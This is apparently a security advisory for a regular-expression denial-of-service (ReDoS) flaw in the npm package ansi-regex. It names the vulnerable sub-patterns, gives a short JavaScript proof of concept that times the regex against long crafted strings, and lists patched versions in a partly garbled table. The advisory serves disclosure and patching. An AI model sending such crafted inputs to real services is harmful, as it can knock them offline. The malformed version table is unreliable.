Asymmetric denial of service - ReDoS In ansi-regex
Description
Inefficient Regular Expression Complexity in chalk/ansi-regex ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") }...
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
npm | 6.0.1, 5.0.1, 4.1.1, 3.0.1 | ||
debian 11 | 5.0.1-1~deb11u1 | ||
debian 12 | 5.0.1-1 | ||
debian 14 | 5.0.1-1 | ||
debian 13 | 5.0.1-1 | ||
rpm rhel8 | - | - | |
rpm rhel9 | 0:2.0.19-1.el9_0 | ||
rpm rhel8.4 | 1:14.18.2-2.module+el8.4.0+13643+6c0ebf22 | ||
rpm rhel8 | - | - | |
rpm rhel9 | - | - |
Aliases
1. 2. 3. 4. 5. 6.
References
1. 2. 3. 4. 5. 6. 7. 8. 9. 10.